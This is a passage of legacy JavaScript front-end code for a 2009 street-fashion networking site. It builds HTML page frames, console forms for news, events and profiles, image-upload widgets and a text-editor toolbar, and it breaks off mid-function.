
// ===================================================================== FRAMES


//adjusts content position on resize events
function adjustPositions(){
	if(ie)return true;
	refPt=grab("mainFrame");
	rX=refPt.offsetLeft;
	var lf=0;
	var wid=877;
	var lf=rX
	//if(ff)lf-=1;
	if(sf&&(2*(Math.round(initWid/2)))==initWid)lf+=1;
	if(location.href.indexOf("console")==-1)lf+=8;
	var pf=grab("positioningFrame");
	pf.style.left=lf;
}

//makes adjustments based on whether there is a scroll bar present
function correctPosition(){
	if(ie)return true;
	if(parseInt(initWid)==parseInt(document.body.offsetWidth)){
		if(sf){
			var diff=-8;
			//if(2*(Math.round(initWid/2))==initWid)diff=-7;
			var mf=grab("mainFrame");
			mf.style.left=diff;
		}
		else{
			var pf=grab("positioningFrame");
			pf.style.left=rX+8;
		}
	}
	return true;
}

//package home page content in a 2-column table for display, following existing masthead 
function innerFrameHome(indent,col1,cont1,col2,cont2,bord,viz,gap,typ,idVal){
	var txt="";
	refPt=grab("mainFrame");
	rX=refPt.offsetLeft;
	rY=parseInt(refPt.offsetTop)+parseInt(refPt.style.height);
	var cp=15;
	var lf=0;
	var tp=105;
	if(typ==1||typ==2)tp=136;
	var wid=877;
	if(ff||sf){

		var cp=17;
		var lf=rX
		if(ff)lf-=1;

		if(sf){
			if(2*(Math.round(initWid/2))==initWid)lf+=1;
		}

		var tp=115;
		txt+="</center>";
		if(typ==1||typ==2){
			lf=0;
			tp=41;
			txt+="</center>";
		}
	}
	txt+="<div id=positioningFrame style=position:absolute;width:875;left:"+lf+";top:"+tp+";background-color:transparent>";
	txt+="<table border=0 cellpadding=0 cellspacing="+cp+" id=infoPage"+idVal+" width="+wid+" class=boxwhite style=overflow:hidden;width:"+wid+";><tr>";
	txt+="<td style=position:relative;top:0;width:"+col1+" valign=top>"+cont1+"</td>";
	txt+="<td width="+col2+" valign=top>"+cont2+"</td>";
	txt+="</tr><tr><td colspan=2 height=35 style=position:relative;top:0;width:"+wid+">"+footer+"</td>";
	txt+="</tr></table>";
	txt+="</div>";
	return txt;
}

//package arbitrary consumer page content in a 1-column table for display, following existing masthead (remnants of 2-column design remain)
function innerFrame(indent,col1,cont1,col2,cont2,bord,viz,gap,typ,idVal){
	var txt="";
	refPt=grab("mainFrame");
	rX=refPt.offsetLeft;
	rY=parseInt(refPt.offsetTop)+parseInt(refPt.style.height);

	var wid=col1;
	if(wid>850)wid=850;
	if(sf)wid=874;

	var lf=0;
	var tp=105;
	if(typ==1||typ==2)tp=136;
	var cp=15;

	if(ff){
		cp=25;
		var lf=rX-1;
		var tp=115;
		txt+="</center>";
		if(typ==1||typ==2){
			lf=0;
			tp=41;
			txt+="</center>";
		}
	}
	if(sf){
		cp=23;
		wid+=3;
		var lf=rX;
		var tp=115;
		txt+="</center>";
		if(typ==1||typ==2){
			lf=0;
			tp=41;
			txt+="</center>";
		}
	}
	txt+="<div id=positioningFrame style=position:absolute;width:875;left:"+lf+";top:"+tp+";background-color:white>";
	txt+="<table border=0 cellpadding=0 cellspacing="+cp+" id=infoPage"+idVal+" width="+wid+" class=box style=overflow:hidden;width:"+wid+";><tr>";
	txt+="<td style=position:relative;top:0;width:"+col1+" valign=top>"+cont1+"</td>";
	txt+="</tr><tr><td colspan=2 height=35 style=position:relative;top:0;width:"+wid+">"+footer+"</td>";
	txt+="</tr></table>";
	txt+="</div>";
	return txt;
}

//package arbitrary console page content for display, following existing masthead 
function innerFrameConsole(cont,viz,gap,idVal){
	var vProp="hidden";
	if(viz)vProp="visible";
	var menuHit=1000;
	var banner="";
	if(idVal==0)banner=formatConsoleBanner(profileData,true);
	var tabTp=41;
	var tabLf=1;
	var tabWid=878;
	var csp=15;
	if(ie){
		var tabTp=115+gap;
		var tabLf=2;
		var tabWid=840;
	}
	if(sf)tabWid=800;
	var txt="<table border=0 cellpadding=0 cellspacing="+csp+" id=consolePage"+idVal+" width="+tabWid+" style=position:absolute;left:"+tabLf+";top:"+tabTp+";visibility:"+vProp+";border-width:1;border-color:black;border-style:solid;background-color:white>";
	if(banner!="")txt+="<tr width="+tabWid+"><td id=consoleBannerHolder class=box style=position:relative;top:0;border-width:0 width="+tabWid+" valign=top>"+banner+"</td></tr>";
	txt+="<tr width="+tabWid+"><td class=box style=position:relative;top:0;overflow:hidden;border-color:black width="+tabWid+" valign=top>"+cont+"</td></tr>";
	txt+="<tr><td height=35 width=840 style=position:relative;top:"+(gap-15)+">"+footer+"</td>";
	txt+="</tr></table>";
	if(idVal==2||idVal==4){
		var menuContent=getMenuContent(storyData,idVal)
		if(ie)txt=txt+"<div id=consoleMenu"+idVal+" class=box style=position:absolute;left:0;top:136;width:878;height:"+menuHit+";background-color:white;visibility:hidden>"+menuContent+" </div>";
		else txt=txt+"<div id=consoleMenu"+idVal+" class=box style=position:absolute;left:0;top:41;width:878;height:"+menuHit+";background-color:white;visibility:hidden>"+menuContent+" </div>";
	}
	return txt;
}

//header box is a content box with black bar across top including bold white headline, this one has outline
function headerBoxFrame(cont,wid,tit,mo,idVal){
	var typ="searchAll";
	if(idVal=="mainEventSummary")typ="event";
	if(idVal=="mainMemberSummary")typ="member";
	if(idVal=="mainNewsSummary")typ="news";
	pos=wid-100;
	var txt="<div id="+idVal+"Frame class=boxed style=position:relative;width:"+wid+"> <div id="+idVal+"HeaderBox style=position:absolute;left:0;top:0;background-color:black;width:"+wid+";height:28;></div> <div id=newsHeaderTitle style=position:absolute;left:6;top:6;width:"+(wid-6)+";color:white;font-size:12px;background-color:transparent;><b>"+tit+"</b></div><br><br>";
	txt+=cont;
	if(mo)txt+=moreWidget(pos,typ);
	txt+="<br> </div><p>";
	return txt;
}

//blank box is a content box with outline and no header
function blankBoxFrame(cont,wid,idVal){
	var lf=0;
	if(ie)lf=2;
	var txt="<div id="+idVal+" class=box style=position:relative;left:"+lf+";top:0;width:"+wid+";>";
	txt+=cont;
	txt+="</div><p>";
	return txt;
}

//blank box black is a content box with outline and no header
function blankBoxFrameBlack(cont,wid,idVal){
	var lf=0;
	if(ie)lf=2;
	var txt="<div id="+idVal+" class=boxblack style=position:relative;left:"+lf+";top:0;width:"+wid+";>";
	txt+=cont;
	txt+="</div><p>";
	return txt;
}

//close out page after all content has been written, includes bottom nav elements
var footer="<p> <div id=botNav class=botnav style=width:825> <center> <span class=link onclick=doNav('about')>About</span><span class=botbar>|</span> <span class=link onclick=doNav('terms')>Terms</span><span class=botbar>|</span> <span class=link onclick=doNav('privacy')>Privacy</span><span class=botbar>|</span> <span class=link onclick=doNav('contact')>Contact</span><span class=botbar>|</span> <span class=link onclick=doNav('help')>Help</span><br> <span class=capt> &copy; 2009 Label Networks, Inc.</span><br><br> </center> <img src=images/blank.gif width=845 height=1></div></center></body></html>";


// ==================================================================== CONSUMER PAGE CONSTRUCTION FUNCTIONS

function drawHomePage(typ){
	if(!typ)typ=0;
	var cont1="";
	cont1+=fullDirectory(industries,"Find by Industry:","industryDirectory");
	cont1+=fullDirectory(categories,"Find by Category:","categoryDirectory");
	var newsCont=formatNewsItems(storyData);
	cont1+=headerBoxFrame(newsCont,500,"Street Fashion News - <a href=mailto:info@thelabellab.com>Submit News</a>",true,"mainNewsSummary");
	var eventCont=formatEventItems(eventData);
	var boo=true;
	if(eventCont=="")boo=false;
	var cont2=headerBoxFrame(eventCont,320,"Coming Events",boo,"mainEventSummary");
	var memberCont=formatMemberItems(profileData);
	cont2+=headerBoxFrame(memberCont,320,"New Members",true,"mainMemberSummary");
	var wid1=530;
	if(!ie)wid1=528;
	var cont=innerFrameHome(0,wid1,cont1,320,cont2,false,true,15,typ,0);
	return cont;
}

function drawProfilePage(typ){
	acctNum=parseInt(sessionID);
	var butts=false;
	if(acctNum==profileData[0][2])butts=true;
	if(!typ)typ=0;
	var banner=formatProfileDisplayBanner(profileData,typ);//this is banner HTML
	var hVal=35;
	if(ff)hVal=31;
	if(sf)hVal=27;
	var hitAdj="<img src=images/blank.gif width=5 height="+hVal+">";
	var wid1=220;
	if(ie)wid1=220;
	var sidba=formatProfileSidebar(profileData,wid1);//this is sidebar HTML
	var cont1="<br><br>"+hitAdj+"<br><br>"+blankBoxFrame(sidba,wid1,"profileSidebar");//this is the assembled left column, cont1
	var wid2=598;
	if(ie)wid2=600;
	profCont=formatProfileMain(profileData);//this is the main article about the member
	profCont="<br><div style=position:relative;left:10;width:580;overflow:hidden>"+profCont+"</div><br>";
	var cont2="<br><br>"+hitAdj+"<br><br>"+blankBoxFrame(profCont,wid2,"profileMain");//this populates the main article into the right column (cont2)
	var evCont=formatProfileMyEvents(eventData,false);//this is the event content box
	cont2+=headerBoxFrame(evCont,wid2,"My Events",false,"profileMyEvents");//this populates the event box into the right column (cont2)
	var commCont="";
	if(parseInt(profileData[0][26])==1){
		commCont=formatProfileComments(commentData,butts);//this is comments if comments are allowed
		cont2+=headerBoxFrame(commCont,wid2,"Comments",false,"profileComments");//this populates comments into cont2, which is now complete
	}
	var cont=banner+innerFrameHome(0,wid1,cont1,wid2,cont2,false,true,100,typ,0);
	return cont;
}

function drawNewsPage(typ){
	acctNum=parseInt(sessionID);
	var butts=false;
	if(acctNum==storyData[0][2])butts=true;
	if(!typ)typ=0;
	var cont1="";
	cont1+=formatBigNewsWindow(storyData);
	if(parseInt(storyData[0][13])==1)cont1+=formatCommentList(commentData,butts);//**
	var cont=innerFrame(0,850,cont1,0,"",false,true,15,typ,0);
	return cont;
}

function drawEventPage(typ){
	acctNum=parseInt(sessionID);
	var butts=false;
	if(acctNum==eventData[0][2])butts=true;
	if(!typ)typ=0;
	var cont1="";
	cont1+=formatBigEventWindow(eventData);
	if(parseInt(eventData[0][24])==1)cont1+=formatCommentList(commentData,butts);//**
	var cont=innerFrame(0,800,cont1,0,"",false,true,15,typ,0);
	return cont;
}

function drawStaticPage(cont){
	cont="<center><span class=subhead>"+cont+"</span></center>";
	var wid=850;
	if(sf)wid=875;
	cont=innerFrame(0,wid,cont,0,"",false,true,15,0,0);
	return cont;
}

function drawNewsIndex(arr){
	pageSrcArray=arr;
	pageType="news";
	curPage=0;
	var cont=searchConfigureWidget(pageType);
	cont+="<div id=searchResultHolder>";
	var pageControls=drawPageControls(arr);
	var pageHTML="<div id=pageHolder>"+getPage(arr,pageType,0)+"</div>";
	cont+=pageHTML+pageControls;
	cont+="</div>";
	cont=innerFrame(0,850,cont,0,"",false,true,15,0,0);
	return cont;
}

function drawEventIndex(arr){
	pageSrcArray=arr;
	pageType="event";
	curPage=0;
	var cont=searchConfigureWidget(pageType);
	cont+="<div id=searchResultHolder>";
	var pageControls=drawPageControls(arr);
	var pageHTML="<div id=pageHolder>"+getPage(arr,pageType,0)+"</div>";
	cont+=pageHTML+pageControls;
	cont+="</div>";
	cont=innerFrame(0,850,cont,0,"",false,true,15,0,0);
	return cont;
}

function drawMemberIndex(arr){

	var aCnt=0;
	var newArr=new Array();
	for(var a=0;a<arr.length;a++){

		//alert("Member data, name="+arr[a][0]+",  image="+arr[a][4]);

		if(arr[a][4]=="blank.gif")arr[a][4]="fakeIcon.gif";
		if(arr[a][0]!="new member"){
			newArr[aCnt]=arr[a];
			aCnt++;
		}
	}
	arr=newArr;

	pageSrcArray=arr;
	pageType="member";
	curPage=0;
	var cont=searchConfigureWidget(pageType);
	cont+="<div id=searchResultHolder>";
	var pageControls=drawPageControls(arr);
	var pageHTML="<div id=pageHolder>"+getPage(arr,pageType,0)+"</div>";
	cont+=pageHTML+pageControls;
	cont+="</div>";
	cont=innerFrame(0,850,cont,0,"",false,true,15,0,0);
	return cont;
}

function drawSearchIndex(arr){
	pageSrcArray=arr;
	pageType="searchAll";
	curPage=0;
	var cont=searchConfigureWidget(pageType);
	cont+="<div id=searchResultHolder>";
	var pageControls=drawPageControls(arr);
	var pageHTML="<div id=pageHolder>"+getPage(arr,pageType,0)+"</div>";
	cont+=pageHTML+pageControls;
	cont+="</div>";
	cont=innerFrame(0,850,cont,0,"",false,true,15,0,0);
	return cont;
}


// ==================================================================== CONSOLE PAGE CONSTRUCTION FUNCTIONS

function drawProfilePreferencePage(){
	var viz=false;
	var cont0="";
	cont0+=formatConsolePageTitle("Profile Preferences — Pertinent Information for Contacts + Networking","");
	cont0+=formatProfPrefLeftColumn(265);
	cont0+=formatProfPrefRightColumn(265);
	cont0+=formatProfPrefProperties();

	var paraCont="<br>Your space to write about your brand, artwork, store, philosophy, intentions as a company,<br>inspiration as to why you got started ...";
	cont0+=formParaSmall(paraCont,15,650,"editSpacePara");

	cont0+=editorButtonBar(0);
	if(ie)cont0+="<div id=blocker0 style=position:relative;left:15;top:0;width:603;height:348;background-color:black> </div><br>";
	else cont0+="<div id=blocker0 style=position:relative;left:15;top:0;width:603;height:348;background-color:transparent> </div><br>";
	cont0+=editSpaceImageUploader(15,350,"editSpace");
	var hed="Profile Image";
	var sub="Upload an image for your profile image. Recommended size: 150 x 150.";
	cont0+=formFileUpload(hed,sub,15,350,65,65,"Profile");
	var hed="Banner Image";
	var sub="Upload an image for the page banner. Recommended size: 800 x 75.";
	cont0+=formFileUpload(hed,sub,15,350,180,30,"Bar");
	cont0+=profPrefSaveButtonWidget();
	var vLf=609;
	if(ie)vLf=603;
	cont0+=verticalCheckboxBlock(industries,vLf,14,235,"Industry type &nbsp; &nbsp; &nbsp; (Check all)","indChoice");

	cont0+="<input id=flagsInput type=hidden>";

	return innerFrameConsole(cont0,viz,21,0);
}

function drawProfilePreviewPage(){
	var viz=false;
	var cont1="<div id=consolePage1 style=width:100%;height:100%></div>";
	return cont1;
}

function drawEnterNewsPage(){
	var viz=false;
	var cont2="";
	cont2+=formatConsolePageTitle("Create/Edit News Story","Enter a news story which other members can read.");
	cont2+=formCombined("Story Title",600,15,"storyTitle");
	cont2+=formCombined("Story Author",250,15,"storyAuthor");
	cont2+=formCombined("Photo Credit",250,15,"storyPhotoCredit");
	cont2+="<br>";
	cont2+=formEssay("Story Description<br><span class=details>A short summary of the story</span>",15,125,750,"storyDescription");
	cont2+=editorButtonBar(2);
	if(ie)cont2+="<div id=blocker2 style=position:relative;left:15;width:603;height:350;background-color:black> </div><br>";
	else cont2+="<div id=blocker2 style=position:relative;left:15;width:603;height:350;background-color:transparent> </div><br>";
	cont2+=editSpaceImageUploader(15,350,"editSpace");
	var hed="Story Main Image";
	var sub="Upload an image for your news story.";
	cont2+=formFileUpload(hed,sub,15,350,65,65,"StoryMain");
	var hed="Story Thumbnail Image";
	var sub="Upload a thumbnail image for your news story. Recommended size: 75 x 75.";
	cont2+=formFileUpload(hed,sub,15,350,65,65,"StoryThumb");
	var cop="Story Keywords:<br><span style=font-weight:normal>(Enter keywords separated by commas.)</span>";
	cont2+=formEssay(cop,15,75,400,"storyKeywordsList");
	cont2+=storySaveButtonWidget();
	var gp=15;
	if(ie)gp=21;
	return innerFrameConsole(cont2,viz,gp,2);
}

function drawNewsPreviewPage(){
	var viz=false;
	var cont3="<div id=consolePage3 style=width:100%;height:100%></div>";
	return cont3;
}

function drawEnterEventPage(){
	var viz=false;
	var cont4="";
	cont4+=formatConsolePageTitle("Create/Edit Event","Enter information about an upcoming event, which can be displayed in the calendar.");
	cont4+=formCombined("Title",750,15,"eventTitle");
	cont4+=formEssay("Description<br><span class=details>A short summary of the event</span>",15,125,750,"eventDescription");
	if(!ff){
		var timBox1=drawTimeBoxes(1000000000,"Event Starts:","relative",15,0,0);
		var timBox2=drawTimeBoxes(1000010000,"Event Ends:","absolute",425,0,1);
		cont4+=timBox2;//note reversal here;
		cont4+=timBox1;
	}
	else{
		var timBox1=drawTimeBoxes(1000000000,"Event Starts:","relative",15,0,0);
		var timBox2=drawTimeBoxes(1000010000,"Event Ends:","absolute",425,-39,1);
		cont4+=timBox1;
		cont4+=timBox2;//note reversal here;
	}
	cont4+=formatEventLocDetails(200);
	cont4+="<br>";

	var paraCont="<br>Add more text about your event here, bands, artists, or post your flyer ...";
	cont4+=formParaSmall(paraCont,15,650,"editSpacePara2");

	cont4+=editorButtonBar(4);
	if(ie)cont4+="<div id=blocker4 style=position:relative;left:15;width:603;height:350;background-color:black;> </div><br>";
	else cont4+="<div id=blocker4 style=position:relative;left:15;width:603;height:350;background-color:transparent;> </div><br>";
	cont4+=editSpaceImageUploader(15,350,"editSpace");
	var hed="Event Image";
	var sub="Upload an image for your event. Recommended size: 150 x 150.";
	cont4+=formFileUpload(hed,sub,15,350,65,65,"Event");
	var cop="Keywords (separated by commas):<br><span style=font-weight:normal>(These should be words that describe your event such as: Name of My Event, sneaker battle, New York City, DJ Names, theme.)</span>";
	cont4+=formEssay(cop,15,75,400,"eventKeywords");
	cont4+=formatEventContact(200);
	cont4+=eventSaveButtonWidget();
	var gp=15;
	if(ie)gp=21;
	return innerFrameConsole(cont4,viz,gp,4);
}

function drawEventsPreviewPage(){
	var viz=false;
	var cont5="<div id=consolePage5 style=width:100%;height:100%></div>";
	return cont5;
}

function drawAdminControlPage(){
	var viz=false;
	var cont6="<div id=adminControlDisplay style=position:relative;left:15;top:10 class=head>Stored Search Parameters<p>";
	cont6+="<span id=catCapt style=position:relative;left:15;top:0 class=caption>Categories</span><br>";
	cont6+="<textarea id=categoryDataHolder style=position:relative;left:15;width:650;height:75>"+categoryData+"</textarea><p>";
	cont6+="<span id=indCapt style=position:relative;left:15;top:0 class=caption>Industries</span><br>";
	cont6+="<textarea id=industryDataHolder style=position:relative;left:15;width:650;height:40>"+industryData+"</textarea><p>";
	cont6+="<input style=position:relative;left:15; type=button onclick=uploadNewStorageValues() value=' Submit Updated Information '><p><br>";
	cont6+="</div>";
	var gp=15;
	if(ie)var gp=21;
	return innerFrameConsole(cont6,viz,gp,6);
}


// ===================================================================== FULL DIRECTORIES

//converts category or industry array into compact selection box
function fullDirectory(arr,tit,idVal){
	var txt="<div id="+idVal+"Frame class=directory style=position:relative;width:500> <div id="+idVal+"HeaderBox style=position:absolute;left:0;top:0;background-color:black;width:100%;height:28;></div> <div id="+idVal+"HeaderTitle style=position:absolute;left:6;top:6;width:494;color:white;font-size:12px;background-color:transparent;><b>"+tit+"</b></div> <br><br><br>";
	for(var a=0;a<arr.length;a++){
		var par0="";
		var par1="";
		if(idVal=="industryDirectory")par0=arr[a];
		if(idVal=="categoryDirectory")par1=arr[a];
		txt+="<span onclick=\"doDirectorySearch('"+par0+"','"+par1+"')\">"+unescape(arr[a])+"</span><span class=dirbar>|</span> ";
	}
	txt+="</div><br>";
	return txt;
}


// ===================================================================== FORM ELEMENTS

//caption appearing above a single line text entry field
function formTitle(tit,lf,idVal){
	var txt="<span id="+idVal+"Title class=subhead style=position:relative;left:"+lf+">"+tit+"</span><br>";
	return txt;
}

//single line text entry field, name is idVal+Input
function formField(wid,lf,idVal){
	var txt="<input type=text id="+idVal+"Input class=input style=position:relative;top:0;width:"+wid+";left:"+lf+" onmouseup=changeNoted()><br><img src=images/blank.gif width="+wid+" height=4><br>";
	return txt;
}

//draw country selection drop downs
function countrySelectionField(wid,lf,idVal){
	var txt="<select id="+idVal+" style=position:relative;left:"+lf+";width:"+wid+";height:19 class=countrybox onmouseup=changeNoted()>";
	txt+=countryOptionStr;
	txt+="</select><br>";
	return txt;
}

//returns a matched entry field/caption pair 
function formCombined(tit,wid,lf,idVal){
	var txt=formTitle(tit,lf,idVal)
	txt+=formField(wid,lf,idVal)
	return txt;
}

//explanatory paragraph within a form entry page
function formPara(cont,lf,wid,idVal){
	var txt="<div id="+idVal+"Para class=blackcopy style=position:relative;left:"+lf+";width:"+wid+">"+cont+"</div><br>";
	return txt;
}

//small explanatory paragraph within a form entry page
function formParaSmall(cont,lf,wid,idVal){
	var txt="<div id="+idVal+"Para class=details style=position:relative;left:"+lf+";width:"+wid+">"+cont+"</div><br>";
	return txt;
}

//multi-column, horizontally oriented array of checkboxes. individual checkboxes are named: idVal+num
function horizontalCheckboxBlock(arr,lf,colWid,colNum,tit,idVal){
	var txt="<span class=head style=position:relative;left:"+lf+">"+tit+"</span><br>";	
	txt+="<table cellpadding=0 cellspacing=0 border=0 style=position:relative;left:"+lf+";width:"+(colWid*colNum)+">";
	for(var a=0;a<arr.length;a+=colNum){
		txt+="<tr height=15>";
		for(var c=0;c<colNum;c++){
			if(typeof(arr[a+c])!="undefined"&&arr[a+c]!="undefined")txt+="<td valign=top class=details width="+colWid+"><div style=width:"+colWid+"><nobr><input type=checkbox id="+idVal+(a+c)+" style=position:relative;top:1;left-2 value='"+arr[a+c]+"' onmouseup=changeNoted()>"+arr[a+c]+"</nobr></div></td>";
			else txt+="<td valign=top class=details width="+colWid+"><div style=width:"+colWid+"> &nbsp; </div></td>";
		}
		txt+="</tr>";
	}
	txt+="</table><p>";
	return txt;
}

//single-column, vertically oriented array of checkboxes. individual checkboxes are named: idVal+num (single-use: profile preferences page)
function verticalCheckboxBlock(arr,lf,tp,colWid,tit,idVal){
	if(ie)lf+=6;
	if(ff){
		lf+=11;
		tp+=148;
	}
	if(sf){
		lf+=9;
		tp+=108;
	}
	var txt="<div id="+idVal+"Container class=boxed style=position:absolute;width:"+colWid+";left:"+lf+";top:"+(tp+18)+";height:700><br><br>";
	txt+="<span class=head style=position:relative;left:20;>"+tit+"</span><br><br>";	
	for(var a=0;a<arr.length;a++){
		txt+="<span class=details style=position:relative;left:20><input type=checkbox id="+idVal+a+" style=position:relative;top:1;left-2 value='"+arr[a]+"' onmouseup=changeNoted()>"+arr[a]+"</span><br>";
	}
	var paraCont="<br>Click to <span onclick=sendMailSuggestion('industry') style=cursor=pointer;text-decoration:underline>suggest a new industry</span> to include.<p>";
	txt+=formParaSmall(paraCont,15,(colWid-30),"suggestIndustry");
	txt+="<br></div><p>";
	return txt;
}

//textarea space for user input of information, named idVal+Input
function formEssay(tit,lf,ht,wid,idVal){
	var txt="<span class=subhead style=position:relative;left:"+lf+">"+tit+"</span><br>";	
	txt+="<textarea id="+idVal+"Input class=essay style=position:relative;left:"+lf+";width:"+wid+";height:"+ht+" onmouseup=changeNoted()></textarea><p>";
	return txt;
}

//complete file upload widget, requires explicit dimensions for size of display photo window. 
//names: hidden data store: idVal+ImgInput, container: imgHolder+idVal, image object: idVal+Img, delete checkbox: idVal+DelecteCheck, upload frame: uploaderFrame
function formFileUpload(tit,sub,lf,wid,imgWid,imgHit,idVal){
	var txt="";
	txt+="<span id="+idVal+"Head class=subhead style=position:relative;left:"+lf+">"+tit+"</span><br>";	
	txt+="<span id=imgHolder"+idVal+" style=position:absolute;left:500;width:"+imgWid+";height:"+imgHit+"><img id="+idVal+"Img src=images/blank.gif width="+imgWid+" height="+imgHit+" border=1 style=position:absolute></span>";	
	txt+="<span id="+idVal+"Sub class=details style=position:relative;left:"+lf+">"+sub+"</span><br>";
	var lfPosAdj=0;
	var tpPosAdj=0;
	var wid=86;
	var btnTp=-33;
	if(ie){
		lfPosAdj="-5";
		tpPosAdj="-3";
		wid=90;
		btnTp=-18;
		var lineTop=-20;
	}
	if(ff){
		lfPosAdj=-146;
		tpPosAdj=-1;
		wid=230;
		btnTp=-33;
		var lineTop=-25;
	}
	if(sf){
		var lfPosAdj=0;
		var tpPosAdj=0;
		var wid=86;
		var btnTp=-33;
		var lineTop=-25;
	}
	txt+="<input type=text class=input onclick=this.blur() id="+idVal+"ImgInput style=position:relative;width:325;height:20;left:105;top:4> ";
	txt+="<div style=position:relative;width:81;height:20;left:15;top:"+btnTp+";overflow:hidden;background-color:transparent;>";
	txt+="<iframe name=uploaderFrame id=uploaderFrame src=uploadStart"+idVal+".html style=position:absolute;left:"+lfPosAdj+";top:"+tpPosAdj+";width:"+wid+";height:23;border-width:0;overflow:hidden;scroll:no;></iframe>";
	txt+="</div>";
	txt+="<input type=checkbox id="+idVal+"DeleteCheck style=position:relative;left:"+lf+";top:"+lineTop+" onclick=deleteBoxChange('"+idVal+"')><span style=position:relative;left:"+lf+";top:"+lineTop+"; class=details> Delete</span><span style=position:relative;left:"+(lf+35)+";top:"+lineTop+"; class=details>Uploaded files should not exceed 750 KB in size.</span><p>";
	return txt;
}

//complete file upload widget, requires explicit dimensions for size of display photo window. 
//names: hidden data store: idVal+ImgInput, container: imgHolder+idVal, image object: idVal+Img, delete checkbox: idVal+DelecteCheck, upload frame: uploaderFrame
function editSpaceImageUploader(lf,wid,idVal){
	var lfPosAdj=0;
	var tpPosAdj=0;
	var wid=86;
	var btnTp=-33;
	var capTop=0;
	if(ie){
		lfPosAdj="-5";
		tpPosAdj="-3";
		wid=90;
		btnTp=-36;
		capTop=15;
	}
	if(ff){
		lfPosAdj=-146;
		tpPosAdj=-1;
		wid=230;
		btnTp=-33;
		capTop=-7;
	}
	if(sf){
		var lfPosAdj=0;
		var tpPosAdj=0;
		var wid=86;
		var btnTp=-30;
	}
	var txt="<span id="+idVal+"Head class=subhead style=position:relative;left:"+lf+";top:"+capTop+">Select a photo to add</span><br>";
	txt+="<nobr><form id=editSpaceImageUploadCheckboxes class=details style=position:relative;left:105><input type=radio name=radio checked id=imgUploadInline"+idVal+">Inline <input type=radio name=radio id=imgUploadLeft"+idVal+">Align left  <input type=radio name=radio id=imgUploadRight"+idVal+">Align right </form>";
	txt+=" <div style=position:relative;width:81;height:20;left:15;top:"+btnTp+";overflow:hidden;> ";
	txt+=" <input type=hidden class=input onclick=this.blur() id=editSpaceImgInput style=position:relative;width:325;height:20;left:15;top:4>";
	txt+="<iframe name=uploaderFrame id=uploaderFrame src=uploadStartEditSpace.html style=position:absolute;left:"+lfPosAdj+";top:"+tpPosAdj+";width:"+wid+";height:23;border-width:0;overflow:hidden;scroll:no;></iframe>";
	txt+="</nobr></div></nobr><p>";
	return txt;
}

function deleteBoxChange(idVal){
	var cb=grab(idVal+"DeleteCheck");
	if(cb.checked){
		var blankImg="<img id=profileImg src='userimages/blank.gif' width=75 height=75 border=1 style=position:absolute>";
		grab("imgHolder"+idVal).innerHTML=blankImg;
		var inp=grab(idVal+"ImgInput");
		inp.value="blank.gif";
	}
}

//this comes only from uploaderEditSpace.php on load
function submittingEditSpaceImage(dat){
}


// ===================================================================== EDITOR ELEMENTS

//control bar for the editSpace text editor, name: idVal+buttonBar (note lower case b)
function editorButtonBar(idVal){
	var txt="";
	txt+="<div id="+idVal+"buttonBar class=box style=position:relative;left:15;top:0;width:602;height:26;background-color:white>";
	txt+="<nobr><img id=boldButton src=images/bold.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('bold','')\" alt=Bold>";
	txt+="&nbsp;<img id=italicButton src=images/italic.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('italic','')\" alt=Italic>";
	txt+="&nbsp;<img id=underlineButton src=images/underline.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('underline','')\" alt=Underline>";
	txt+="&nbsp;<img id=justifyLeftButton src=images/justLeft.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('justifyLeft','')\" alt=\"Align Left\">";
	txt+="&nbsp;<img id=justifyCenterButton src=images/justCenter.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('justifyCenter','')\" alt=Center>";
	txt+="&nbsp;<img id=justifyRightButton src=images/justRight.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('justifyRight','')\" alt=\"Align Right\">";
	txt+="&nbsp;<img id=justifyBoth src=images/justBoth.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('justifyFull','')\" alt=Justify>";
	txt+="&nbsp;<img id=orderedButton src=images/ordered.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('InsertOrderedList','')\" alt=\"Ordered List\">";
	txt+="&nbsp;<img id=unorderedButton src=images/unordered.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('InsertUnorderedList','')\" alt=\"Bullet Points\">";
	txt+="&nbsp;<img id=outdentButton src=images/outdent.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('Outdent','')\" alt=Outdent>";
	txt+="&nbsp;<img id=indentButton src=images/indent.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('Indent','')\" alt=Indent>";
	//txt+="&nbsp;<img id=insertImageButton src=images/image.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('InsertImage','http://www.google.com/intl/en_ALL/images/logo.gif')\" alt=\"Add Image\">";
	txt+="&nbsp;<img id=linkButton src=images/link.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('CreateLink','')\" alt=\"Add Hyperlink\">";
	txt+="&nbsp;<img id=linkButton src=images/unlink.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('Unlink','')\" alt=\"Remove Hyperlink\">";
	txt+="&nbsp;<img id=undoButton src=images/undo.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('Undo','')\" alt=Undo>";
	txt+="&nbsp;<img id=redoButton src=images/redo.gif style=position:relative;left:0;top:5;width:17;height:17;cursor:pointer onClick=\"doCommand('Redo','')\" alt=Redo>";
	txt+="&nbsp;<select id=fontChooser"+idVal+" style=position:relative;left:0;top:1;width:80;height:17;cursor:pointer;font-familiy:verdana;font-size:10px onchange=chooseFont("+idVal+")>";
	txt+=" <option value=\"\">Font";
	txt+=" <option value=\"Arial\">Arial";
	txt+=" <option value=\"Monospace\">Courier";
	txt+=" <option value=\"Georgia\">Georgia";
	txt+=" <option value=\"Impact,Helvetica\">Impact";
	txt+=" <option value=\"Palatino,Palatino Linotype\">Palatino";
	txt+=" <option value=\"Serif\">Times";
	txt+=" <option value=\"Verdana\">Verdana";
	txt+="</select>";
